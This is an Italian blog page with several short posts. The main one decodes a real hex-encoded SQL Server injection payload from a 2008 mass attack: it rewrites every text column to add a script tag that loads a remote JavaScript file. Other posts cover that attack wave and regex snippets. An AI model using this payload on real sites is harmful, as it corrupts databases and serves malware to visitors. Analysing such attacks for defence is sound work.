Come fare una Sql Injection su Sql Server

May 24, 2008 - Noises

Ecco un esempio di Sql injection per SQL Server, che viene aggiunta alla fine di una URL dinamica. Ovviamente effettuare tale procedura è illegale: don’t try this at home! ;)

Sql server injection

Il codice da iniettare nell’URL dinamica.

DECLARE @S VARCHAR(4000);SET
@S=CAST(0x4445434C415245204054205641524348415228323535292C
404320564152434841522832353529204445434C415245205461626C655
F437572736F7220435552534F5220464F522053454C45435420612E6E6
16D652C622E6E616D652046524F4D207379736F626A6563747320612C7
37973636F6C756D6E73206220574845524520612E69643D622E6964204
14E4420612E78747970653D27752720414E442028622E78747970653D39
39204F5220622E78747970653D3335204F5220622E78747970653D3233
31204F5220622E78747970653D31363729204F50454E205461626C655F
437572736F72204645544348204E4558542046524F4D205461626C655F
437572736F7220494E544F2040542C4043205748494C45284040464554
43485F5354415455533D302920424547494E2045584543282755504441
5445205B272B40542B275D20534554205B272B40432B275D3D5254524
94D28434F4E5645525428564152434841522834303030292C5B272B404
32B275D29292B27273C736372697074207372633D687474703A2F2F7777
772E61647739352E636F6D2F622E6A733E3C2F7363726970743E272727
29204645544348204E4558542046524F4D205461626C655F437572736F
7220494E544F2040542C404320454E4420434C4F5345205461626C655
F437572736F72204445414C4C4F43415445205461626C655F437572736
F7220 AS VARCHAR(4000));
EXEC(@S)

Si tratta di una injection utilizzata durante un attacco reale ad un noto sito italiano ed a molti altri siti in rete.

Come vedete, prima si dichiara una variabile, poi la si inizializza con il valore 0x4445434C41524520…ma cosa significa? Si tratta di un valore espresso nel sistema numerico esadecimale (identificato dal prefisso ‘0x’), che dopo il cast in varchar svela la sua vera natura: è una query per Sql Server.

La Query che verrà eseguita.

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''< scri pt src=http://www.ad w95.com/b.js>‘'’) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Questa query modifica tutte le colonne del database, aggiungendo il seguente script:

< scri pt src=http://www.ad w95.com/b.js>

Che, stampato nelle pagine dei siti compromessi, sfrutterà eventuali bug del browser del malcapitato utente.

Disclaimer.

Tutte le informazioni e le tecniche sono state descritte solo per fini educativi e qualsiasi uso malizioso di queste informazioni è illegale e fortemente scoraggiato.

Approfondimenti:
Lo stesso attacco è stato rilevato da blazo
Sql Injection


Attacchi Sql Injection dalla Cina

May 23, 2008 - Noises

Il web, ultima settimana di Aprile 2008.

Si osserva un picco di attacchi di tipo SQL Injection provenienti da server farm cinesi. Circa mezzo milione di pagine web residenti su server su cui girano le tecnologie IIS, ASP e SQL Server vengono infettate.

Microsoft precisa che gli aggressori non hanno sfruttato falle, vecchie o nuove, contenute nei propri software, ma hanno approfittato di alcuni dei più comuni errori compiuti dagli amministratori nella configurazione dei siti web e dei database.

SQL Injection
La figura (ottenuta tramite Google Trends) mostra l’andamento del numero di ricerche della query [SQL Injection], insieme al volume di news correlate. E’ evidente l’interesse per l’argomento che si è sviluppato a causa degli attacchi dell’ultimo periodo.

Notizie su sql injection

La situazione attuale.

Da circa una settimana gli esperti di sicurezza stanno registrando una nuova ondata di attacchi. Come in passato, gli aggressori si avvalgono dei risultati di Google per automatizzare la ricerca di computer vulnerabili.

La società di sicurezza Armorize Technology stima che, solo nell’ultima settimana, i cracker cinesi hanno compromesso almeno 10mila server Windows e centinaia di migliaia di pagine web. Per avere un’idea del numero di siti recentemente compromessi, provate a cercare banner82 su Google.com.

Ma come è fatto un tipico attacco?

Grazie alla collaborazione di un mio collega che mi ha gentilmente messo a disposizione i dati raccolti da un sistema che ha sviluppato (in grado di riconoscere e memorizzare gli attacchi), domani pubblicherò un esempio di una query utilizzata durante un attacco reale verso $noto_sito_italiano.

Approfondimenti:
Bot cinesi infettano migliaia di server
Come fare una Sql Injection su Sql Server
Come evitare le Sql Injection


Regular expression: Come estrarre testo tra due tag

October 27, 2005 - Noises
Dim RegEx, Match, Matches
Set RegEx = New RegExp
RegEx.Pattern = “< inizio >[^< ]*< / fine >”
Set Matches = regEx.Execute(stringa) ‘Esegue la ricerca
For Each Match in Matches
valore = Match.Value
Next

Attenzione, perchè Match.Value contiene anche i tag di apertura e chiusura, dunque provvedo a rimuoverli con l’istruzione replace


Rimuovere testo tra parentesi da una stringa

October 23, 2005 - Noises

Questo è il codice Javascript da usare:

function TogliParentesi( strText )
{
var regEx = /\([^\)]*\)/g;
return strText.replace(regEx, “”);
}

Ed ecco il codice ASP equivalente:

Function TogliParentesi( strText )
Dim RegEx

Set RegEx = New RegExp

RegEx.Pattern = “\([^\)]*\)”
RegEx.Global = True

TogliParentesi= RegEx.Replace(strText, “”)
End Function


|